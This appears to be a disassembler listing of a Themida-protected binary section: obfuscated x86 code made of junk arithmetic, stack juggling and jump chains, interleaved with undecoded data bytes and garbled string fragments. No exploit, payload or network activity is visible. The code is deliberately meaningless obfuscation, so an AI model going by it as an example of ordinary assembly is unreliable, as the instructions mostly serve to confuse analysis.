		mov	esp, [esp]
		jmp	loc_548759
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 4CBF57D8h,	815E6F3Fh, 11304BF7h, 4E7C155h
		dd 0E902EFC1h, 0FFFF79F0h, 3502E0C1h, 31B8311Dh, 799672Dh
		dd 0E9C30102h, 0FFFF5893h
; ---------------------------------------------------------------------------


loc_54D3F8:				; CODE XREF: Themida_:0054258Fj
		mov	[esp], esi
		mov	esi, 29267EE7h
		sub	esi, 29267EE7h
		mov	[edx+38h], esi
		mov	esi, [esp]
		push	edi
		jmp	loc_5459FB
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 26D454AAh, 975BF181h, 0CB01485Bh, 0E9240C8Bh, 0FFFFC397h
		dd 6F70D2B8h, 0D3F7937Eh, 70D70593h, 0D5E97E6Fh, 29FFFF54h
		dd 47BB2DD0h, 835A3B8Dh, 0F9E904ECh, 0C0FFFFA2h, 0CF8004E7h
		dd 0AF78071h, 0E95BF830h, 0FFFFE346h, 58C2015Eh, 0D2F7D2F7h
		dd 0FF888BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D469:				; CODE XREF: Themida_:0054B3D0j
		pop	ebp
		xor	eax, 76B51E71h
		or	esi, eax
		jmp	loc_54B314
; ---------------------------------------------------------------------------
a_hsl		db '_h‘l',0
		align 4
		dd 51241C89h, 0FFB1E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D485:				; CODE XREF: Themida_:005463C6j
		xor	edx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_541378
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0B924h, 9AE90000h, 53FFFF42h, 0C381E389h, 4,	0FFC53EE9h
		dd 59CE01FFh, 0FF6266E9h, 36E952FFh, 1FFFFEBh, 0EC815EF1h
		dd 4, 51240489h, 0B64DEFB9h, 0B98CE962h, 0C481FFFFh, 4
		dd 4C481h, 91E90000h, 81FFFF3Eh, 4C6h, 4EE8300h, 0E9243487h
		dd 0FFFFB956h, 76E06852h, 425A2951h, 357FCA81h,	0E2810E64h
		dd 385F77BEh, 8846C281h, 0D089D7AAh, 8324148Bh,	0C12904C4h
		dd 0FFB64CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D521:				; CODE XREF: Themida_:0054C9A1j
		sub	esp, 4
		jmp	loc_548D63
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 7E556800h, 2C890000h, 575D5424h, 0FF4B19E9h
		dd 0E9D8F6FFh, 0FFFFE8BAh, 8B5AD629h, 0D6E9243Ch
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D557:				; CODE XREF: Themida_:0054AEBBj
		push	59BA503Ah
		pop	eax
		xor	eax, 0A645AFC5h
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		jmp	loc_546C0F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 8E6A29BEh, 0C108E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D57A:				; CODE XREF: Themida_:0054ACE0j
		add	edx, 8E4B92Eh
		jmp	loc_54396D
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0C7810000h, 2, 0FFCF0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D599:				; CODE XREF: Themida_:00544765j
		pop	edx
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_545DAE
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5434B2
; ---------------------------------------------------------------------------


loc_54D5C7:				; CODE XREF: Themida_:00547AA5j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5450C7
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFE315h, 0AE4DE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D5E6:				; CODE XREF: Themida_:0054438Bj
		push	10B43875h
		pop	esi
		xor	esi, 127843BCh
		mov	ebx, esi
		pop	esi
		sub	eax, ebx
		jmp	loc_546C68
; ---------------------------------------------------------------------------
		dd 4C481h, 0EF800000h, 80E728E4h, 0E958E4C7h, 0FFFF9D1Dh
		dd 0EAA2F781h, 0FE2937A3h, 0E9D6015Fh, 0FFFFE39Fh
; ---------------------------------------------------------------------------


loc_54D620:				; CODE XREF: Themida_:0054AFFBj
		push	edx
		push	edi
		push	ecx
		mov	ecx, 9716F2Fh
		not	ecx
		not	ecx
		xor	ecx, 299B0AE6h
		jmp	loc_542222
; ---------------------------------------------------------------------------
		db 30h
		dd 2434FFC8h, 0E0895059h, 405h,	4BA5200h, 0E9000000h, 0FFFF62DDh
		dd 70CCE950h, 74FFFFFFh, 0E95E0424h, 0FFFFAE00h, 95BD829h
		dd 0BB5358C5h, 23503E0Ah, 0F95EB81h, 0DD3104BBh, 0FF3E37E9h
		dd 4C181FFh, 0E9000000h, 0FFFFD926h, 0C0FE610Ch, 0C100752Ch
		dd 0FF915BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D691:				; CODE XREF: Themida_:0054B8F0j
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	4B59h
		mov	[esp], ebx
		mov	ebx, 14ED52B7h
		jmp	loc_544BCD
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 324AC681h, 0F289E7F5h, 2EAC15Eh, 338ECA81h, 0BD552FE1h
		dd 1, 0FF49A0E9h, 3BF681FFh, 8116A75Bh,	0E85684C6h, 5285E918h
		dd 0F766FFFFh, 0E99C241Ch, 0FFFF3C84h
; ---------------------------------------------------------------------------


loc_54D6F4:				; CODE XREF: Themida_:0054C898j
		mov	eax, [esp]
		push	ecx
		push	5141h
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		jmp	loc_542BAB
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA2B95F5h, 23DF6830h, 0C890000h, 450AB924h,	0E5E90621h
		dd 52FFFF55h, 6C51FEBAh, 0ECCA8131h, 8145BC3Fh,	0E00293EAh
		dd 0B5DEE914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D73A:				; CODE XREF: Themida_:00546C57j
		pop	ecx
		add	ecx, 52311EF6h
		add	ecx, 7D9DA20Dh
		mov	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		push	ebx
		push	eax
		mov	eax, 679F3E16h
		jmp	loc_54A166
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 5C240487h, 4C481h, 0EEE90000h, 48FFFFB5h, 80BFA805h
		dd 0F4EA818Ah, 0E9266111h, 0FFFF9607h, 0A5C38166h, 0EB816612h
		dd 0B70F6900h, 4CFBE9C0h, 0BA52FFFFh, 0F654893h, 81924092h
		dd 0B55F74CAh, 2EE95220h, 8BFFFFCDh, 0C481243Ch, 4, 5C243487h
		dd 89243C89h, 4C781E7h,	83000000h, 1DE904C7h
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D7C3:				; CODE XREF: Themida_:0054A9E6j
		push	ebp
		push	ecx
		push	eax
		mov	eax, 155225B9h
		and	eax, 39CE4C75h
		shl	eax, 1
		dec	eax
		and	eax, 549630Ah
		add	eax, 549F5137h
		mov	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		sub	[esp+8], ebp
		jmp	loc_54C0A4
; ---------------------------------------------------------------------------
		dd 8324248Bh, 5CE904C4h, 80FFFF74h, 0D7E9BEC2h,	0FFFFF8h
		dd 0E99C2404h, 0FFFF3B70h
; ---------------------------------------------------------------------------


loc_54D808:				; CODE XREF: Themida_:0054A6E2j
		pop	eax
		dec	esi
		and	esi, 1FDF5CC1h
		jmp	loc_549815
; ---------------------------------------------------------------------------
		db 57h,	54h, 5Fh
		dd 0FFE3CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D81D:				; CODE XREF: Themida_:005482BAj
		pop	ebx
		jmp	loc_54CDD9
; ---------------------------------------------------------------------------


loc_54D823:				; CODE XREF: Themida_:0054194Bj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5476EF
; ---------------------------------------------------------------------------
		dd 592434FFh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 89243C89h
		dd 0C335E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D84A:				; CODE XREF: Themida_:0054273Bj
		shr	ecx, 0Bh
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_546F98
; ---------------------------------------------------------------------------
		db 81h
		dd 5244F3F6h, 7AF68137h, 29710015h, 0A570E9F7h,	0DF87FFFFh
		dd 0DF31D3F7h, 0E4E9FB31h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D87F:				; CODE XREF: Themida_:00548FDCj
		mov	[esp], esi
		push	edi
		push	esi
		push	ebp
		mov	ebp, 66B152ADh
		mov	esi, 86DDBE0h
		sub	esi, 140F2C2Ah
		add	esi, ebp
		add	esi, 140F2C2Ah
		pop	ebp
		mov	edi, esi
		pop	esi
		sub	edi, 1
		shr	edi, 8
		sub	edi, 215E4A3Ch
		jmp	loc_548CCA
; ---------------------------------------------------------------------------


loc_54D8B2:				; CODE XREF: Themida_:00549C1Bj
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	63D9h
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		push	esi
		mov	esi, 549F5137h
		add	[esp+8], esi
		pop	esi
		add	dword ptr [esp+4], 587A0D41h
		jmp	loc_54A9DA
; ---------------------------------------------------------------------------


loc_54D8DC:				; CODE XREF: Themida_:00544C0Fj
		pop	ecx
		jmp	loc_54482D
; ---------------------------------------------------------------------------


loc_54D8E2:				; CODE XREF: Themida_:00543B72j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, esp
		jmp	loc_54C214
; ---------------------------------------------------------------------------
		db 68h,	0D1h, 77h
		dd 14890000h, 45236824h, 0C890000h, 0F763E924h,	0E0C1FFFFh
		dd 9B92E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D912:				; CODE XREF: Themida_:0054BBDBj
		push	edi
		push	0B8C738Eh
		pop	edi
		push	edx
		mov	edx, 3D122D62h
		sub	edx, 22010CD7h
		or	edx, 2F15986h
		xor	edx, 0E40E8670h
		add	edi, edx
		jmp	loc_544AD8
; ---------------------------------------------------------------------------
		dd 0DDDCE81h, 0E6C11EF8h, 0DDC68106h, 17C238Eh,	9FAFE9F2h
		dd 6853FFFFh, 6A12h, 0BA241489h, 0FEh, 64B468h,	24148900h
		dd 0E904EC83h, 0FFFFFC01h, 5C241487h, 91FC281h,	0B1E9590Dh
		dd 0B6FFFF66h, 29E680BFh, 0FFB6D2E9h, 739105FFh, 3E2D2CACh
		dd 0E9767D43h, 0FFFFB531h, 240C8B66h, 8581E956h, 0EC83FFFFh
		dd 240C8904h, 613509B9h, 5049496Ah, 343A21B8h, 7E0C136h
		dd 3504E8C1h, 0DADDE9Bh, 558C129h, 753F1B8Dh, 0FFCF62E9h
		dd 0B704FFh, 0E9B72CD8h, 0FFFFF876h, 24048B66h,	7CA368h
		dd 0DCABE900h, 0E929FFFFh, 0FFE014E9h, 2C8759FFh, 91E95C24h
		dd 68FFFFE9h, 35FFh, 89241489h,	4BF57E2h, 50000000h, 0FF89C2E9h
		dd 325B05FFh, 51577021h, 620340B9h, 3B94BF5Bh, 0CF29BBBBh
		dd 81DFF759h, 0FF38DCE7h, 8EFC133h, 8107EFC1h, 74C764F7h
		dd 0A8E6E905h, 875EFFFFh, 545C2414h, 0E924048Fh, 0FFFF4C38h
		dd 4C7815Fh, 83000000h,	3C8704C7h, 8B67E924h, 0BD55FFFFh
		dd 4, 0E95DEA01h, 0FFFF45C8h, 241C8966h, 8904EC83h, 0EDB62414h
		dd 38E9CEFEh, 66FFFFCEh, 68CCB60Fh, 4F61h, 89243489h, 7BF57E6h
		dd 81355079h, 0D05044F7h, 0F7E78116h, 87684827h, 0A6BBE9CFh
		dd 0FA13FFFFh, 3A10059h, 0CA640059h, 94BD0059h,	959CFA0Bh
		dd 3A1FFFFh, 8EB0059h, 213AD25h, 20000h, 2 dup(10000h)
		dd 94BD0000h, 0FA0Bh, 4	dup(0)
		dd 0C1F90000h, 0F8A80055h, 14CA0055h, 88780056h, 25680055h
		dd 9A2E0056h, 8A460055h, 758A0055h, 0B8FD0055h,	0A0630055h
		dd 0E0F30055h, 0BA50055h, 0D9A0056h, 237B0056h,	0C95B0056h
		dd 165D0055h, 0B8200056h, 83E60055h, 7D3A0055h,	0EEC0055h
		dd 8BFA0056h, 424D0055h, 0FF4F0055h, 0D0E40055h, 85600055h
		dd 165F0055h, 0FEC40055h, 0DCBB0055h, 0F3320055h, 0CF180054h
		dd 0DF210055h, 0B5170054h, 0ACE50055h, 38A70055h, 0B65A0055h
		dd 2770055h, 99D80056h,	6B800055h, 0C4EB0055h, 94AC0055h
		dd 0A86B0055h, 6CFD0055h, 9EEF0055h, 5E8B0055h,	8F3C0055h
		dd 0E5360055h, 90FD0055h, 1BB60055h, 98890056h,	0F7180055h
		dd 8C4B0055h, 5B9E0055h, 1AF40055h, 1C7E0056h, 0E23F0056h
		dd 0E8FC0055h, 0CE080054h, 511C0055h, 0BB1E0055h, 0BAE0055h
		dd 4F5E0055h, 9FC10055h, 0E2550055h, 9DC20054h,	635D0055h
		dd 93F50055h, 0C62B0055h, 0E5BB0055h, 0C7A60054h, 19000055h
		dd 33990056h, 0F3290055h, 78E90054h, 869F0055h,	13410055h
		dd 0F6130055h, 0AC3C0054h, 11840055h, 0D5B20055h, 0AF0B0055h
		dd 0D6170055h, 7B330055h, 5EFF0055h, 0E4890055h, 0F570055h
		dd 28400056h, 32220055h, 0EE960055h, 0F800055h,	3EC0056h
		dd 0F01C0055h, 0F94D0055h, 0D2BE0055h, 64F0055h, 0C98B0056h
		dd 0D9490055h, 0CA2B0055h, 3400055h, 0C8680056h, 6F210055h
		dd 0FD9F0055h, 10B20054h, 0FEA10056h, 0F40D0054h, 8BA90054h
		dd 0FE880055h, 0EBC40055h, 89C40055h, 29320055h, 0FD290055h
		dd 7D950054h, 5E5C0055h, 0E99E0055h, 9E070055h,	69820055h
		dd 917A0055h, 24BE0055h, 2C0F0056h, 53740055h, 72F40055h
		dd 0F7C00055h, 0AB290054h, 90D60055h, 4520055h,	95C0055h
		dd 68FD0055h, 0F9E60055h, 16D00054h, 0D06E0056h, 17330055h
		dd 39D0055h, 0CC2E0055h, 6FEE0055h, 8FDE0055h, 9B1B0055h
		dd 0C8A50055h, 0A82D0055h, 2EBE0055h, 24370055h, 7F20056h
		dd 56150056h, 0FC7F0055h, 0DE760055h, 26900055h, 2BF20056h
		dd 0C2F70055h, 20B40055h, 1AB00056h, 8B70055h, 0E1270056h
		dd 0E130054h, 70770056h, 50050055h, 0A2BC0055h,	0FD230055h
		dd 0DCE90054h, 0E0D00055h, 11030054h, 60930055h, 87520055h
		dd 0A2520055h, 0EAB90055h, 3720054h, 0C1D80056h, 0E9E60055h
		dd 0A8C20054h, 0ACB00055h
		db 55h,	0
; ---------------------------------------------------------------------------


loc_54DD7E:				; CODE XREF: Themida_:0059AA3Ej
					; Themida_:0059F9C4j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 64948C9h
		mov	eax, edi
		add	edi, 64945E1h
		cmp	eax, [edi+2Ch]
		jnz	short loc_54DD9C
		jmp	short loc_54DDAF
; ---------------------------------------------------------------------------


loc_54DD9C:				; CODE XREF: Themida_:0054DD98j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54DDAB
; ---------------------------------------------------------------------------


loc_54DDA6:				; CODE XREF: Themida_:0054DDADj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54DDAB:				; CODE XREF: Themida_:0054DDA4j
		or	ecx, ecx
		jnz	short loc_54DDA6


loc_54DDAF:				; CODE XREF: Themida_:0054DD9Aj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54DDBC:				; CODE XREF: Themida_:0054DDC3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54DDBC


loc_54DDC5:				; CODE XREF: Themida_:0054F238j
					; Themida_:00550D8Aj ...
		lodsb
		jmp	loc_5616B8
; ---------------------------------------------------------------------------


loc_54DDCB:				; CODE XREF: Themida_:00559DEDj
		mov	edx, 1E400AA7h
		or	edx, 0ADF0397h
		not	edx
		xor	edx, 3BB70485h
		add	edx, 72431EA3h
		jmp	loc_554219
; ---------------------------------------------------------------------------


loc_54DDE9:				; CODE XREF: Themida_:00558B78j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1
		sub	esp, 4
		mov	[esp], ebx
		push	177Fh
		jmp	loc_54E14D
; ---------------------------------------------------------------------------
		dd 74FF535Dh, 1C8B0424h, 2216E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DE1A:				; CODE XREF: Themida_:005608DDj
		push	edi
		mov	edi, 3AA76C90h
		dec	edi
		inc	edi
		xor	edi, 33361B90h
		mov	eax, edi
		jmp	loc_559AC4
; ---------------------------------------------------------------------------
		db 5
aVSe?		db 'Ôv¿-é…?',0
		dd 0F43BB00h, 0E2E92AFCh, 520000B3h, 24148B54h,	12546E9h
		dd 5356BF00h, 0FA012E99h, 0C923E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DE59:				; CODE XREF: Themida_:0055DBE9j
		shr	esi, 4
		inc	esi
		sub	esi, 9C68E3C2h
		push	esi
		pop	ebx
		pop	esi
		mov	ecx, ebx
		jmp	loc_55405D
; ---------------------------------------------------------------------------
aRitsE		db 'R‰âéÊE',0
		db 0
; ---------------------------------------------------------------------------


loc_54DE75:				; CODE XREF: Themida_:0055EDD8j
		mov	ebx, 729206AEh
		mov	ebp, ebx
		pop	ebx
		and	ebx, ebp
		pop	ebp
		or	ebx, 59030624h
		shr	ebx, 8
		shl	ebx, 5
		add	ebx, 6D641130h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5565C6
; ---------------------------------------------------------------------------
		dw 34FFh
aWts		db '$[WTéÒ&',0
		dd 29EA8100h, 0E948A31Bh, 4190h
; ---------------------------------------------------------------------------


loc_54DEB0:				; CODE XREF: Themida_:005515B2j
		sub	esp, 4
		jmp	loc_554092
; ---------------------------------------------------------------------------


loc_54DEB8:				; CODE XREF: Themida_:00555E57j
		shr	edi, 8
		shr	edi, 1
		jmp	loc_560F5F
; ---------------------------------------------------------------------------
		dw 0FEE9h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DEC7:				; CODE XREF: Themida_:005549ECj
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_54F095
; ---------------------------------------------------------------------------


loc_54DED3:				; CODE XREF: Themida_:00557CCCj
		add	edi, 2B040EECh
		jmp	loc_558229
; ---------------------------------------------------------------------------
		dw 3168h
		dd 89000072h, 1CB82404h, 0E962534Eh, 121D1h
; ---------------------------------------------------------------------------


loc_54DEF0:				; CODE XREF: Themida_:0055E385j
		add	ebx, 0D7DB6504h
		jmp	loc_554AF6
; ---------------------------------------------------------------------------


loc_54DEFB:				; CODE XREF: Themida_:00558B96j
		and	esi, 40C83625h
		add	esi, 3A5256E6h
		add	edi, esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		sub	[esp+8], edi
		pop	edi
		pop	eax
		jmp	loc_5604BF
; ---------------------------------------------------------------------------
aS_5		db '\é!Ð',0
		dd 8E9AC00h, 0F7000066h, 0C78147DFh, 1F651ABBh,	82B2E9h
		dd 8EB95100h, 0F7336B55h, 0D2C181D9h, 0F740E834h, 5E9C1D1h
		dd 0F34BE981h, 75E95985h, 83000047h, 0B32D04C4h, 2D6B0421h
		dd 260C302Fh, 2F05F801h, 5260C30h, 6B0421B3h, 81243C8Bh
		dd 4C4h, 32E95000h, 5A0000E9h, 0E902C183h, 12005h, 0FFFE3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DF89:				; CODE XREF: Themida_:0055ADA1j
		sub	bl, 32h
		mov	ax, [esp]
		add	esp, 2
		add	bl, 0BAh
		jmp	loc_550E05
; ---------------------------------------------------------------------------
		db 66h
		dd 31B0CB81h, 14477E9h,	2CD82800h, 5B74E9EEh, 575B0000h
		dd 4EC81h, 34890000h, 59C0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54DFBE:				; CODE XREF: Themida_:00560573j
		xor	[esp], eax
		push	eax
		jmp	loc_5621FF
; ---------------------------------------------------------------------------
		db 1
		dd 0E7C181F1h, 8B221F09h, 0EEE92434h, 4000013h,	8BC68835h
		dd 0C4832404h, 282F0404h, 8B2F2CF0h, 0C4812414h, 4, 8904EC83h
		dd 0D2B22414h, 4EC8150h, 89000000h, 44B3241Ch, 88A6EB80h
		dd 241C8BDCh, 804C483h,	2434FFE2h, 9788E9h, 4875B00h, 0C7015C24h
		dd 14287E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E025:				; CODE XREF: Themida_:0055CB38j
		mov	edx, 71FE0976h
		jmp	loc_561ACF
; ---------------------------------------------------------------------------


loc_54E02F:				; CODE XREF: Themida_:00552AFBj
		shr	ebp, 3
		add	ebp, 5AFF362Ch
		add	ebp, 8E888262h
		add	ecx, ebp
		pop	ebp
		push	67C5h
		mov	[esp], ebp
		jmp	loc_54F4C9
; ---------------------------------------------------------------------------
		dw 8B5Eh
		dd 0C4812404h, 4, 1FE95346h, 830000AAh,	0C8904ECh, 81E18924h
		dd 4C1h, 4C18300h, 31240C33h, 0C33240Ch, 1608E924h, 0F75C0001h
		dd 2CB968E9h, 14890000h, 0E99C5024h, 0FFFFFD35h, 20B2C581h
		dd 0D5294268h, 20B2ED81h, 295A4268h, 242C8BEBh,	8104C483h
		dd 2F739CC3h, 4EC811Bh,	0E9000000h, 0A927h, 0C581E589h
		dd 4, 0AE8E9h, 0D3665C00h, 0E99C242Ch, 0C9D4h, 9D1C77FFh
		dd 19665866h, 0E99C2404h, 0FFFFFCE5h, 2DD9EB81h, 0B95152BCh
		dd 529121D8h, 0C8BCB29h, 4208E924h, 0E6890000h,	4C681h
		dd 0C6810000h, 4, 0E9243487h, 5F46h
; ---------------------------------------------------------------------------


loc_54E10C:				; CODE XREF: Themida_:005563FBj
		add	cl, 0
		jmp	loc_5544B4
; ---------------------------------------------------------------------------
		dd 7DA9EE81h, 0EE017A8Dh, 7DA9C681h, 9E97A8Dh, 0AD000144h
		dd 0EC83D831h, 24348904h, 0B34E1BEh, 4EC8326h, 0BB241C89h
		dd 0
		dd 0ECE9F329h, 5C00005Bh, 1128BE9h
		db 0
; ---------------------------------------------------------------------------


loc_54E14D:				; CODE XREF: Themida_:0054DE07j
		mov	[esp], esi
		push	eax
		mov	eax, 69E43CA0h
		and	eax, 0C9E728Eh
		xor	eax, 248E3FD5h
		shl	eax, 7
		push	ecx
		jmp	loc_54F80C
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 61h
		dd 21303B2Bh, 2434FFC8h, 81240C8Bh, 4C4h, 4C48100h, 9000000h
		dd 1BA4E9C0h, 0EF810001h, 43E507E9h, 2D7FEF81h,	0C7811219h
		dd 6E952EA9h, 0F781D7F7h, 0AE2BA2E2h, 15FF889h,	685058C5h
		dd 2, 0E9C50158h, 0C517h, 1B1168h, 80ADE900h, 0D6F60000h
		dd 0C680C6FEh, 94E9539Dh, 89000079h, 5EF389FEh,	24348153h
		dd 400A3663h, 22BF5758h, 810E9071h, 8D50E8EFh, 8E7C104h
		dd 7F54C781h, 0D7F71C05h, 73C9CF81h, 0C78170C4h, 4F2BBE78h
		dd 5B5FF831h, 5414685Fh, 4890000h, 38428F24h, 8B2434FFh
		dd 0A4682404h, 89000048h, 0E189240Ch, 4C181h, 0A4680000h
		dd 8900004Fh, 0BDE9241Ch, 8300012Fh, 0F80002C4h, 5B66732Ch
		dd 0A62CC828h, 4EC8359h, 52240C89h, 0F1881BB6h,	8DF1805Ah
		dd 1A90E9h, 0C8B6600h, 2CF76824h, 14890000h, 68E28924h
		dd 730h, 0E9242C89h, 135DDh, 6733B951h,	0E181617Fh, 1B516D7Eh
		dd 0DAC6E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E281:				; CODE XREF: Themida_:0055F726j
		sub	al, 6Ch
		jmp	loc_55A5C2
; ---------------------------------------------------------------------------


loc_54E288:				; CODE XREF: Themida_:0055CDBFj
		add	ebp, eax
		sub	ebp, 1F8B4BFFh
		pop	eax
		push	edi
		jmp	loc_55F31A
; ---------------------------------------------------------------------------


loc_54E297:				; CODE XREF: Themida_:0055ADA9j
		push	eax
		mov	al, 23h
		sub	dl, al
		pop	eax
		mov	bl, dl
		mov	edx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5509D5
; ---------------------------------------------------------------------------
		dd 0E9240487h, 0E2ECh, 52243489h, 15076FBAh, 2DE28114h
		dd 55782E0Eh, 4062BBDh,	5DBE5610h, 291A7676h, 0EA295EF2h
		dd 4D685751h, 5F77925Bh, 6123E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E2EA:				; CODE XREF: Themida_:00556DAFj
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_555749
; ---------------------------------------------------------------------------
aRtsr		db 'RTéà¶',0
		align 2
		dw 0B850h
		dd 411A630Ah, 0DA58B635h, 58C70121h, 243C3359h,	33243C31h
		dd 20E9243Ch
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54E327:				; CODE XREF: Themida_:00553FB8j
		add	esp, 4
		jmp	loc_551540
; ---------------------------------------------------------------------------


loc_54E32F:				; CODE XREF: Themida_:005509F9j
		pop	esi
		push	ebp
		mov	ebp, 1F8D4503h
		add	ebp, 41DF7273h
		and	ebp, 3F247457h
		xor	ebp, 41BA46B5h
		jmp	loc_55B9F5
; ---------------------------------------------------------------------------
		db 1, 0F3h, 81h
		dd 0CC3EEBC3h, 46E95E77h, 5000119h, 4, 32D6E951h, 1050000h
		dd 2D000000h, 0FFFFFFFFh, 3505E8C1h, 72FA71C6h,	0C275C105h
		dd 58C321ADh, 0F6FAC381h, 5953DF41h, 81241C8Bh,	4C4h, 3A5F300h
		dd 7A683862h, 8900003Eh, 68572404h, 0
		dd 46E9535Fh
		db 2Ch,	1, 0
; ---------------------------------------------------------------------------


loc_54E3AB:				; CODE XREF: Themida_:00552F93j
		pop	eax
		sub	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		add	dh, 9Dh
		sub	dh, al
		push	ecx
		push	12Dh
		mov	[esp], ebx
		mov	bh, 3Bh
		jmp	loc_55886B
; ---------------------------------------------------------------------------


loc_54E3CC:				; CODE XREF: Themida_:0055ACD1j
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, edi
		jmp	loc_557C8E
; ---------------------------------------------------------------------------


loc_54E3DE:				; CODE XREF: Themida_:00561E47j
		neg	ch
		xor	ch, 84h
		inc	ch
		push	eax
		mov	ah, 0BFh
		jmp	loc_54F2DB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 874E9h
		db 0
; ---------------------------------------------------------------------------


loc_54E3F5:				; CODE XREF: Themida_:0055840Cj
		add	esp, 4
		xor	edx, edx
		jmp	loc_54E723
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 149Fh
; ---------------------------------------------------------------------------


loc_54E408:				; CODE XREF: Themida_:00555571j
		add	eax, ebp
		sub	eax, 2B224A55h
		mov	ebp, [esp]
		push	eax
		jmp	loc_557A5C
; ---------------------------------------------------------------------------
		dd 2A6BEF81h, 40E90518h, 0B8000027h, 353D6297h,	59236505h
		dd 95AE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54E432:				; CODE XREF: Themida_:0055A3CFj
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, 68330F44h
		jmp	loc_557C40
; ---------------------------------------------------------------------------
		dd 927FE953h, 0F8010000h, 0E42E2505h, 243C8B62h, 0E904C483h
		dd 0C775h
; ---------------------------------------------------------------------------


loc_54E468:				; CODE XREF: Themida_:00550A16j
		pop	dword ptr [esp]
		not	edi
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	edi, [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 35F70830h
		jmp	loc_55BC28
; ---------------------------------------------------------------------------
		db 0BDh, 0B5h, 72h
		dd 0CD2967F2h, 1289AE9h, 82685A00h, 89000059h, 0B7E92404h
		dd 830000D2h, 90E904C4h, 5100003Eh, 5404EC83h, 8124048Fh
		dd 42404h, 50590000h, 0DA600AB8h, 5E8C173h, 9ED2FC2Dh
		dd 0E9C10103h, 0B8E1h
; ---------------------------------------------------------------------------


loc_54E4D8:				; CODE XREF: Themida_:0055BDD4j
		sub	[edi+24h], eax
		jmp	loc_5583BB
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 84EAh, 24148966h, 59E9ECB2h, 5200001Ah
